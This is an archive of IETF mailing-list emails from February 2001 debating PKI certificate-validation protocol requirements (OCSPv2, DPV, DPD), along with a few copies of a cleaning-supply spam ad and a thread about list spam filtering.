  Cylink Corp.




Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA19926 for <[e-mail]>; Wed, 7 Feb 2001 08:20:56 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f17GRqK11576; Wed, 7 Feb 2001 08:27:53 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Wed, 7 Feb 2001 08:32:50 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <v04220801b6a615b391cd@[128.33.238.86]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

To: Stephen Kent
Subject: RE: OCSPv2, DPV and DPD issues summary (long)

Steve,

A few specific responses embedded below.

Mike


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Tuesday, February 06, 2001 1:28 PM
> To: Michael Myers
> Cc: [e-mail]
> Subject: Re: OCSPv2, DPV and DPD issues summary (long)
>
>
> Mike,
>
> I found your compendium very helpful in preparing the next rev of the
> requirements document. I'll keep this message short by responding
> only to thye summary points:
>
> ><snip>
> >SUMMARY
> >
> >1.  Ambiguity in requirement 2.2 re: single certs    [Covey, 1/2/01]
> >     (Kent to to update rqmts spec)
>
> OK
>
> >2.  Lack of specificity in rqmt 2.2 re: sort order   [Covey, 1/2/01]
> >     (Kent is comfortable with proposal)
>
> OK
>
> >3.  Server usage of data proferred by client         [Covey, 1/3/01]
> >     (Kent to to update rqmts spec)
>
> OK
>
> >4.  Should a DPD server nonce a DPV server?          [Covey, 1/3/01]
> >     (Rqmt under study; no consensus to mandate).
>
> odd wording, i.e., making "nonce" into a verb! I have included a
> provision for the client to supply a nonce and a flag to enable a
> client to require that the server use this nonce in OCSP requests it
> issues on behalf of the client. if not invoked by the client, the
> server is free to use cached OSCP responses, or to supply its own
> nonce in an OCSP request. the text of the RFC should discuss the
> implications of this.

OK.

>
> >5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
> >     (OCSP framework already enables recusion)
>
> For now I don't see the utility of supporting nested responses in
> DPV, or DPD. For a DPD server, it should be able to extract any
> certs, CRLs, or OCSP responses it receives and pass on the extracted
> data. In fact, it may not want to pass one all the data it gets from
> another DPD server, i.e., it may winnow it. In case of DPV, we
> discussed the fact that the client trusts the DPV server it uses, and
> trust is not transitive, so there does not appear to be a need for a
> DPV response to convey another DPV response, although a DPV server
> may log the responses and save them in case they turn out to be wrong
> and the server operator needs to track down the source of the error.
> If a DPV server makes use of a DPD server, or vice versa, I think the
> arguments above apply. So, for now, I see no need to support nested
> responses.

I think we may be out of sync.  I too see no need to address this issue
given that OCSP-based solutions already exist to address these requirements.
See my prior note on this point.

>
> >6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
>
> This still seems like a good requirement, and I'm looking for a
> proposal of how to do it.

Me too.  It's a very good point Peter brought up.  We'll see what we can do
on the OCSPv2 side.

>
> >7.  Transitive trust and recursion                   [Covey, 1/10/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
>
> see recursion discussion and proposed resolution above.
>
> >8.  Should DPD responses be signed?                  [Manger, 1/24/01]
> >     (No, DPD responses do not need to be signed.)
>
> signing is an option in my revised spec.

I have no problems on optional signing from an OCSP perspective.

>
> >9.  A signature is not needed for DPV in all cases.  [Kent, 1/24/01]
> >     (proposed: OCSPv2 and DPV I-Ds will continue to
> >      mandate sigs pending WG discussion and consensus
> >      to the contrary.)
>
> I note the phrase "to the contrary" which is not a good sign :-). In
> your detailed response you suggest that NR is a primary motivation
> for DPV. I don't think the WG discussion supports that assertion,
> though I can't argue with you re what may have been your primary
> motivation. My analysis is that we promote the use of DPV for any
> client that is not PKI aware or that wishes to offload cert
> validation processing. That's what the motivation text has said for
> some time. Given that, NR is not implied as a primary rationale for
> DPV.
>

True, NR is a subset of PKI-based security needs, but source authentication
needs remain.  Also, response signing is mandated in RFC 2560 (at least for
revocation status requests.)  I'm assuming that our work in updating
editorial issues in 2560 as it moves forward excludes substantive changes.
Perhaps as this relates to OCSP it's better to soften this SHALL to a MAY in
the OCSPv2 work?

> >10. Support for non-ASN.1-capable clients            [Hanna, 1/17/01]
> >     (The OCSPv2, DPV and DPD efforts as authored
> >      will not address XML.)
>
> yes, it's dead for now.
>
> >11. Are post-facto queries a requirement?            [Linn, 1/20/01]
> >     (Existing support for post-facto queries in
> >      RFC 2560 will be enhanced in the OCSPv2
> >      and DPV I-Ds.)
>
> my next rev allows a client to request it, but leaves support (or
> support for some time interval) at the discretion of the server.
>
> >12. Updates to I-Ds in response to rqmts             [Pinkas, 1/23/01]
> >     (Pending rqmts consensus and list response to
> >      proposals. Ad-hoc working session(s) in
> >      Minneapolis are likely.)
>
> this is not an input to the requirements spec, but an action item for
> those proposing protocols to meet the spec, right?

Correct.  We held a few in San Diego.

>
> >13. Need for validation controls beyond 2459 rules   [Pinkas, 1/23/01]
> >     (DPD paths should (shall?) be valid.)
>
> I have picked parameters based on Denis's SMIME ESP example, and
> comments from Russ. But, I don't agree with your conclusion in the
> details. We still do not have consensus on whether a client expects a
> valid path from a DPD server, or only a probably valid path. The
> inclusion of revocation status data in the DPD response is easily
> made into a client-specified option. The real issue is whether we
> require a DPD server to be capable of returning the data whenever it
> claims to return a valid path.

The real question is:  "Is a DPD server subject to security architecture
requirements (e.g. Common Criteria), or is it simply an 'untrusted' relay?"
given this requirement.  If the WG can resolve a position to this question,
we'll be quick to closure on the issue.

>
> >14. Ability to mandate name forms in DPD responses.  [Housley, 1/24/01]
> >     (Name constraints are preferable, esp. wrt to
> >      cross certs).
>
> added to the next rev.
>
> the next rev will include a slightly edited motivation discussion. It
> will propose ASN.1 syntax for DPD and DPV client requests and server
> responses, done separately. My ASN.1 will have errors, I am sure, but
> the point of specifying something at this point is to make more
> concrete the data items being exchanged, as well as the processing
> requirements associated with the exchanged data.
>
> I am out at the NDSS this week, so nothing will likely be ready until
> next week. Meanwhile, we have a few open issues that can continue to
> be addressed on the list.

I'm confident we share a roughly equivalent facility with ASN.1, but what
I'm concerned about is how this relates to the ASN.1-level work several of
us have been engaged on regarding OCSP-based DPV and DPD I-Ds since
Pittsburg?  I was under the impression that there would ultimately exist a
high-level requirements document that would govern these
implementation-level issues and then the various camps would go off and work
on technical responses to that direction.  In fact, I'm in the process right
now of doing just based on the rough consensus to date in order to get
something out to the OCSPv2, DPD and DPV co-authors for their review and
contributions.

>
> Steve
>
>



Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA02656 for <[e-mail]>; Wed, 7 Feb 2001 03:40:13 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id MAA09725; Wed, 7 Feb 2001 12:47:28 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Wed, 7 Feb 2001 12:47:28 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id MAA04854; Wed, 7 Feb 2001 12:47:22 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id MAA04018; Wed, 7 Feb 2001 12:47:22 +0100 (MET)
Date: Wed, 7 Feb 2001 12:47:22 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: [e-mail]

> 
> >5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
> >     (OCSP framework already enables recusion)
> 
> For now I don't see the utility of supporting nested responses in 
> DPV, or DPD. For a DPD server, it should be able to extract any 
> certs, CRLs, or OCSP responses it receives and pass on the extracted 
> data. In fact, it may not want to pass one all the data it gets from 
> another DPD server, i.e., it may winnow it. In case of DPV, we 
> discussed the fact that the client trusts the DPV server it uses, and 
> trust is not transitive, so there does not appear to be a need for a 
> DPV response to convey another DPV response, although a DPV server 
> may log the responses and save them in case they turn out to be wrong 
> and the server operator needs to track down the source of the error. 
> If a DPV server makes use of a DPD server, or vice versa, I think the 
> arguments above apply. So, for now, I see no need to support nested 
> responses.

It seems that we are in a real disagreement here: The case that a
DPV server want to 'log' the responses obtained from another DPV or
OCSP, is important. It is important that the DPV server can note
somewhere 'This information is based on a DPV request made at ...',
and the easiest way to do so is to include the original response. 

 
> >6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
> 
> This still seems like a good requirement, and I'm looking for a 
> proposal of how to do it.

A strawman proposal:

A requester may add its identity to a
request. A server that relays a request MUST add his identity*
to the request. A server SHOULD relay all requesters in relayed
requests. 

When a server detects its own id it SHOULD reject the request. 

A server MAY reject a request when it would be forwarded
to any of the identities already available. 

A server may reject a request that contains too many requester
ids. (defined by local configuration of the server). 


> >7.  Transitive trust and recursion                   [Covey, 1/10/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
> 
> see recursion discussion and proposed resolution above.
> 


Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA06330 for <[e-mail]>; Tue, 6 Feb 2001 13:27:25 -0800 (PST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010409b6a61c986857@[165.227.249.17]>
In-Reply-To:  <[e-mail]>
References:  <[e-mail]>
Date: Tue, 6 Feb 2001 13:34:08 -0800
To: [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: RE: Save Big on Cleaning Equipment!
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:52 AM -0800 2/6/01, Shashi Kiran wrote:
>Can't we stop spam on this mailing list, by applying filters?

Yes, at the cost of not allowing cross-posting from other IETF lists 
and of delaying postings from people who send mail from more than one 
address. So far, the WG chairs have chosen not to make that 
restriction. As list administrator, I act on their wishes.

>Or is this
>paid for by advertisers or something?

That is a very insulting accusation. IMC runs the mailing list for 
this and dozens of other IETF working groups and BOFs as a community 
service. We do not ask or accept payment for it. And we do not 
release the contents of the lists to anyone other than the WG chairs 
(although I rarely give the lists to them either).

>  I'm sure a lot of us would hate to be
>bothered by mails such as these.

Or threads such as this. If you want to ask a question of the mailing 
list administrator or the WG chair, it is best to send a message 
directly to them instead of to the whole mailing list. I have 
responded here mostly because of the disgusting accusation you made.

--Paul Hoffman, Director
--Internet Mail Consortium


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA05777 for <[e-mail]>; Tue, 6 Feb 2001 13:22:53 -0800 (PST)
Received: from [128.33.238.63] (TC063.BBN.COM [128.33.238.63]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA27959; Tue, 6 Feb 2001 16:28:40 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <v04220800b6a60ed2f322@[128.33.238.86]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>		 <v04220802b6936e446651@[128.33.238.32]> <[e-mail]> <v04220803b694bfe38fc3@[128.33.238.54]> <[e-mail]>
Date: Tue, 6 Feb 2001 15:56:55 -0500
To: Denis Pinkas <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: DVD & DVP requirements
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Denis,

>Steve,
>
>  > My spec requires that the server be able to be configured with these
>  > policies. That will ensure that we have a definition of a minimum
>  > parameter set well defined for all servers.
>
>There are two approaches to define a policy, either by passing all the
>parameters in the request using ASN.1 or by referencing a policy which has
>been defined using e.g. English text. It is much faster to say in English :
>the leaf certificate must have either this field present or that other field
>present with the value X or Y, rather than saying the same thing using
>ASN.1.

It took a while, but I think I see what you're trying to say here. 
Yes, one could describe the policy in a natural language and make it 
available to human users that way, and these users would then employ 
a reference to the policy in a message to the server. But, what I was 
getting at is a requirement for the server to have some (not 
specified) means by which all of the defined parameters for 
validation are configured, i.e., the way the mechanism behind the 
natural language is configured.  The two descriptions are 
complementary.

>  > If we allow for external references, then we have to define a 
>reference format
>
>For external references we do not NEED to define such a reference format,
>plain English is sufficient, unless you prefer plain French. :-)

No, I think it does not suffice. I'll make a concrete proposal: for 
each policy configured on a server, the server will identify the 
policy via an OID. To ensure that the policy is what the user had in 
mind, the natural language format description of the policy will be 
hashed, and that hash will be passed as part of the policy reference. 
yes, I know that we could just use the hash as the id here, but using 
OIDs provides a structure in which one can encode info about where 
the policy comes from, etc. even with this we have the need to 
specify the canonical format for the natural language policy 
representation.

>
>  > (do you already have one in mind?), select a protocol and format 
>for transport of the parameters, etc.
>
>I do have in mind such a format which has been defined ASN.1. It could be
>used for describing the format as a parameter.
>
>You could derive it from a subset of the Electronic Signature Policies
><draft-ietf-smime-espolicies-00.txt>
>
>Here is a copy of sections which could be useful to define some (not all !)
>conditions:


Great. This seems to be a good set of parameters and I'll use that in 
the revised spec. The one change I envision is not requiring the 
trustpoint cert to be self-signed.

><snip of ASN.1>



>
>  > So, while it may be OK to have external references,
>
>Fine. On that point we both agree.
>
>  > I really want to keep the local config requirement as a base, and
>
>I am confused with the term that you use :"local configuration requirement".
>If the parameters, passed at the time of the request, define the validation
>policy then there is no such local configuration.
>
>Do you have in mind a protocol where you could define with one call the
>validation policy and then in another call ask for the validation using a
>refrence to that policy ? If so, I agree.

No, I am not mandating the ability for remote configuration of 
policies. The choices I envision are to pass in all the parameters, 
or to refer to a registered policy, known to the server, that has the 
same parameter choices.

>
>In that case, I would understand what a local configuration is, and then
>both calls would look the same.
>
>The case where the validation policy is referenced would have one call,
>while the case where the validation policy is locally defined would have two
>calls.

see my explanation above.

>
>  > I think the addition of external references adds complexity.
>
>Validation policies passed as a parameter add complexity.

True.

>
>  > >  > but only to the extent that the policies make use of standard
>  > >  > cert attribute validation parameters.
>  > >
>  > >Validation policies may include more controls than specified in 
>RFC 2459bis.
>  > >If these validation policies are defined using external 
>references, then it
>  > >is easy to point to them and thus avoids to describe them at the interface
>  > >level.
>  >
>  > Yes, and that leads to potential ambiguities and potentially
>  > undefined server operation.
>
>Not exactly. See above.

If the policies are NOT locally configured at the server, then we 
need a way to map a policy ID into a locator for the policy, and we 
have even more opportunities for processing to fail. I can see the 
error message displayed for the user: "Validation failed: unable to 
acquire referenced policy. Policy server unavailable ..."

>
>  > >  > To do what you propose would
>  > >  > require adding support for private extensions at the server and
>  > >  > perhaps in client requests.  This could be done if the WG wants, but
>  > >  > it would be a supplement to the mandatory, 2459bis validation
>  > >  > criteria.
>  > >
>  > >Describing parameters additional to the traditional validation algorithm
>  > >described in RFC2459, is indeed not that easy. For simplicity, these
>  > >addtional parameters should be limited to indicate conditions on the leaf
>  > >certificates.
>  >
>  > I'm not comfortable with pushing the problem under the rug in this
>  > fashion. We all love the power of indirection, but the reason I
>  > called for server config of parameters was to ensure that we had a
>  > well-defined list and that a compliant server implementation could be
>  > managed based on that list, without reference to some vendor-specific
>  > mechanisms.
>
>There is nothing such as "endor-specific mechanisms", but more "specific
>validation policies".

Let's end the debate and just specify a set now.

>  > >As a summary:
>  > >
>  > >1) Using validation policy references allows a simple interface and hides
>  > >the details (and complexity) of the validation policy.
>  >
>  > Are you suggesting that we not have a facility for the client to pass
>  > in validation parameters, but only have references to policies, or
>  > are you proposing external references in addition to explicit
>  > parameters in the request? I'm not sure I want to hide details of the
>  > policy. I think references to a policy are attractive as a means of
>  > centralizing management.
>  >
>  > >2) Using an explicit validation policy by describing all the parameters at
>  > >the interface level is more complex and in any case will have some
>  > >limitations when compared to referenced validation policies. I agree with
>  > >Steve, that it would be a supplement to the mandatory 2459bis validation
>  > >criteria.
>  >
>  > Not sure I know how to parse this last sentence, although I think I
>  > sense an overall disparagement of support for explicit parameters,
>  > which I still think is necessary.
>
>Explicit validation policies passed as a parameter are more complex. Now
>this is not a reason of not supporting them.
>
>So I am advocating the support of both cases:
>
>a) explicit validation policies AND
>b) referenced validation policies,

My revised proposal will support both, although you may not like the 
policy ID format.

Steve



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA05636 for <[e-mail]>; Tue, 6 Feb 2001 13:21:57 -0800 (PST)
Received: from [128.33.238.63] (TC063.BBN.COM [128.33.238.63]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA27973; Tue, 6 Feb 2001 16:28:48 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <v04220801b6a615b391cd@[128.33.238.86]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Tue, 6 Feb 2001 16:28:08 -0500
To: "Michael Myers" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Mike,

I found your compendium very helpful in preparing the next rev of the 
requirements document. I'll keep this message short by responding 
only to thye summary points:

><snip>
>SUMMARY
>
>1.  Ambiguity in requirement 2.2 re: single certs    [Covey, 1/2/01]
>     (Kent to to update rqmts spec)

OK

>2.  Lack of specificity in rqmt 2.2 re: sort order   [Covey, 1/2/01]
>     (Kent is comfortable with proposal)

OK

>3.  Server usage of data proferred by client         [Covey, 1/3/01]
>     (Kent to to update rqmts spec)

OK

>4.  Should a DPD server nonce a DPV server?          [Covey, 1/3/01]
>     (Rqmt under study; no consensus to mandate).

odd wording, i.e., making "nonce" into a verb! I have included a 
provision for the client to supply a nonce and a flag to enable a 
client to require that the server use this nonce in OCSP requests it 
issues on behalf of the client. if not invoked by the client, the 
server is free to use cached OSCP responses, or to supply its own 
nonce in an OCSP request. the text of the RFC should discuss the 
implications of this.

>5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
>     (OCSP framework already enables recusion)

For now I don't see the utility of supporting nested responses in 
DPV, or DPD. For a DPD server, it should be able to extract any 
certs, CRLs, or OCSP responses it receives and pass on the extracted 
data. In fact, it may not want to pass one all the data it gets from 
another DPD server, i.e., it may winnow it. In case of DPV, we 
discussed the fact that the client trusts the DPV server it uses, and 
trust is not transitive, so there does not appear to be a need for a 
DPV response to convey another DPV response, although a DPV server 
may log the responses and save them in case they turn out to be wrong 
and the server operator needs to track down the source of the error. 
If a DPV server makes use of a DPD server, or vice versa, I think the 
arguments above apply. So, for now, I see no need to support nested 
responses.

>6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
>     (proposed: amend OCSPv2 and DPV I-Ds)

This still seems like a good requirement, and I'm looking for a 
proposal of how to do it.

>7.  Transitive trust and recursion                   [Covey, 1/10/01]
>     (proposed: amend OCSPv2 and DPV I-Ds)

see recursion discussion and proposed resolution above.

>8.  Should DPD responses be signed?                  [Manger, 1/24/01]
>     (No, DPD responses do not need to be signed.)

signing is an option in my revised spec.

>9.  A signature is not needed for DPV in all cases.  [Kent, 1/24/01]
>     (proposed: OCSPv2 and DPV I-Ds will continue to
>      mandate sigs pending WG discussion and consensus
>      to the contrary.)

I note the phrase "to the contrary" which is not a good sign :-). In 
your detailed response you suggest that NR is a primary motivation 
for DPV. I don't think the WG discussion supports that assertion, 
though I can't argue with you re what may have been your primary 
motivation. My analysis is that we promote the use of DPV for any 
client that is not PKI aware or that wishes to offload cert 
validation processing. That's what the motivation text has said for 
some time. Given that, NR is not implied as a primary rationale for 
DPV.

>10. Support for non-ASN.1-capable clients            [Hanna, 1/17/01]
>     (The OCSPv2, DPV and DPD efforts as authored
>      will not address XML.)

yes, it's dead for now.

>11. Are post-facto queries a requirement?            [Linn, 1/20/01]
>     (Existing support for post-facto queries in
>      RFC 2560 will be enhanced in the OCSPv2
>      and DPV I-Ds.)

my next rev allows a client to request it, but leaves support (or 
support for some time interval) at the discretion of the server.

>12. Updates to I-Ds in response to rqmts             [Pinkas, 1/23/01]
>     (Pending rqmts consensus and list response to
>      proposals. Ad-hoc working session(s) in
>      Minneapolis are likely.)

this is not an input to the requirements spec, but an action item for 
those proposing protocols to meet the spec, right?

>13. Need for validation controls beyond 2459 rules   [Pinkas, 1/23/01]
>     (DPD paths should (shall?) be valid.)

I have picked parameters based on Denis's SMIME ESP example, and 
comments from Russ. But, I don't agree with your conclusion in the 
details. We still do not have consensus on whether a client expects a 
valid path from a DPD server, or only a probably valid path. The 
inclusion of revocation status data in the DPD response is easily 
made into a client-specified option. The real issue is whether we 
require a DPD server to be capable of returning the data whenever it 
claims to return a valid path.

>14. Ability to mandate name forms in DPD responses.  [Housley, 1/24/01]
>     (Name constraints are preferable, esp. wrt to
>      cross certs).

added to the next rev.

the next rev will include a slightly edited motivation discussion. It 
will propose ASN.1 syntax for DPD and DPV client requests and server 
responses, done separately. My ASN.1 will have errors, I am sure, but 
the point of specifying something at this point is to make more 
concrete the data items being exchanged, as well as the processing 
requirements associated with the exchanged data.

I am out at the NDSS this week, so nothing will likely be ready until 
next week. Meanwhile, we have a few open issues that can continue to 
be addressed on the list.

Steve



Received: from baynet.baynetworks.com (ns1.BayNetworks.COM [134.177.3.20]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA28993 for <[e-mail]>; Tue, 6 Feb 2001 11:50:24 -0800 (PST)
Received: from mailhost.BayNetworks.COM (h016b.s86b1.BayNetworks.COM [134.177.1.107]) by baynet.baynetworks.com (8.9.1/8.9.1) with ESMTP id LAA11801 for <[e-mail]>; Tue, 6 Feb 2001 11:55:32 -0800 (PST)
Received: from shasta-exch.shastanets.com (mailserver.shastanets.com [47.82.16.150]) by mailhost.BayNetworks.COM (8.9.1/8.8.8) with ESMTP id LAA04454 for <[e-mail]>; Tue, 6 Feb 2001 11:55:30 -0800 (PST)
Received: by mailserver.shastanets.com with Internet Mail Service (5.5.2650.21) id <CFV3BLTS>; Tue, 6 Feb 2001 11:53:43 -0800
Message-ID: <[e-mail]>
From: Shashi Kiran <[e-mail]>
To: [e-mail]
Subject: RE: Save Big on Cleaning Equipment!
Date: Tue, 6 Feb 2001 11:52:01 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

The list moderator:

Can't we stop spam on this mailing list, by applying filters? Or is this
paid for by advertisers or something? I'm sure a lot of us would hate to be
bothered by mails such as these.

Best regards,

Shashi Kiran
Product Manager
Nortel Networks




-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Tuesday, February 06, 2001 2:05 AM
To: [e-mail]
Subject: Save Big on Cleaning Equipment!


Visit www.CleanFreak.com, the site that provides solutions for 
cleaning and janitorial professionals. Our volume purchasing 
allows you to save 20% to 48% on high quality janitorial equipment 
and supplies. All items are in stock. Our fast 24 hour order 
processing insures you'll shop with us again!

<a href="http://www.cleanfreak.com">www.CleanFreak.com </a> 

Note: If this link is not highlighted in your browser please type 
in http://www.CleanFreak.com to view our site. Thank you.
 
 
 
 
 
 
 
 
 


Received: from 156.46.137.4 ([207.168.150.23]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA28402 for <[e-mail]>; Tue, 6 Feb 2001 11:35:44 -0800 (PST)
From: <[e-mail]>
To: <[e-mail]>
Date: Tue, 6 Feb 2001 10:05:20
Message-Id: <157.694908.459756@156.46.137.4>
Subject: Save Big on Cleaning Equipment!
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Visit www.CleanFreak.com, the site that provides solutions for 
cleaning and janitorial professionals. Our volume purchasing 
allows you to save 20% to 48% on high quality janitorial equipment 
and supplies. All items are in stock. Our fast 24 hour order 
processing insures you'll shop with us again!

<a href="http://www.cleanfreak.com">www.CleanFreak.com </a> 

Note: If this link is not highlighted in your browser please type 
in http://www.CleanFreak.com to view our site. Thank you.
 
 
 
 
 
 
 
 
 


Received: from server.ica.cz (server.ica.cz [195.47.13.11]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA09140 for <[e-mail]>; Tue, 6 Feb 2001 00:46:28 -0800 (PST)
Received: from SZOTKOWSKI (com.ica.cz [195.47.13.10]) by server.ica.cz (8.9.2/8.8.7) with SMTP id JAA28360 for <[e-mail]>; Tue, 6 Feb 2001 09:53:30 +0100 (CET)
Message-ID: <082301c0901a$47e17040$[e-mail]>
From: "Martin Szotkowski" <[e-mail]>
To: <[e-mail]>
Subject: rfc2459: IssuerAltName question
Date: Tue, 6 Feb 2001 09:53:30 +0100
Organization: PVT, a.s.
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi all,
I have a few question about AlternativeNames.
1. must be IssuerAlternativeName and SubjectAlternativeName exactly
identical in a selfsigned CA certificate?
2. must be IssuerAlternativeName in _normal_ cert identical with
SubjectAlternativeName in issuer CA certificate?

thanks Martin



Received: from 156.46.137.4 ([207.168.150.23]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id SAA12770 for <[e-mail]>; Mon, 5 Feb 2001 18:21:04 -0800 (PST)
From: <[e-mail]>
To: <[e-mail]>
Date: Mon, 5 Feb 2001 16:50:27
Message-Id: <779.712344.586152@156.46.137.4>
Subject: Save Big on Cleaning Equipment!
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Visit www.CleanFreak.com, the site that provides solutions for 
cleaning and janitorial professionals. Our volume purchasing 
allows you to save 20% to 48% on high quality janitorial equipment 
and supplies. All items are in stock. Our fast 24 hour order 
processing insures you'll shop with us again!

<a href="http://www.cleanfreak.com">www.CleanFreak.com </a> 

Note: If this link is not highlighted in your browser please type 
in http://www.CleanFreak.com to view our site. Thank you.
 
 
 
 
 
 
 
 
 
 


Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA15018 for <[e-mail]>; Mon, 5 Feb 2001 08:01:21 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id RAA26638; Mon, 5 Feb 2001 17:08:25 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Mon, 5 Feb 2001 17:08:25 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id RAA18421; Mon, 5 Feb 2001 17:08:23 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id RAA27494; Mon, 5 Feb 2001 17:08:23 +0100 (MET)
Date: Mon, 5 Feb 2001 17:08:23 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Cc: [e-mail]

> 
> Peter,
> 
> Thanks for the response.  Comments below.
> 
> Yuriy
> 
I'd like to resume:

X.509 path validation takes a date as an input for the
validation. So be it. This feature can be used in some
circumstances but one should be careful not to consider
it as a replacement of other services (long term validation). 

Expiration is similar to revocation in this workflow context.
If the originating user keeps a record of what was signed, 
and checks whether the 'acknowledge' has been received or not,
the sending user can validate its own cert and get a warning 
"cert expired" or "cert revoked", or "it might happen that your 
request be rejected because your credentials have expired, 
please do this and that"; 

Maybe the signing user just after sending out the text realised
that it was wrong, and immediately revokes his cert in order not
to get the document accepted.




Received: from monet.digsigtrust.com (mail.digsigtrust.com [208.30.69.30]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA05337 for <[e-mail]>; Mon, 5 Feb 2001 05:42:17 -0800 (PST)
Received: from CC474623A (cc474623-a.abdn1.md.home.com [24.18.83.123]) by monet.digsigtrust.com (8.10.2/8.10.2) with SMTP id f15DnDl19920; Mon, 5 Feb 2001 06:49:13 -0700 (MST)
Reply-To: <[e-mail]>
From: "Yuriy Dzambasow" <[e-mail]>
To: "Peter Sylvester" <[e-mail]>, <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Date: Mon, 5 Feb 2001 08:46:59 -0500
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
In-Reply-To: <[e-mail]>

Peter,

Thanks for the response.  Comments below.

Yuriy

...snip...
> yuriy> To support non-repudiation, all you need is the ability to retrieve
> evidence to show that the signature was valid/invalid at the time in
> question.  Where that is done should not matter, although some approaches
> are better than others, and may be easier to prove in court.

You need an evidence that the document in question was signed at the
time in question by the entity in question.

The validity of the signing certificate may not be sufficient for that.
yuriy> It may not be sufficient, but it is part of the evidence that will
surely be required.

...snip...

> yuriy> I understand your solution, and I agree that some RPs will operate
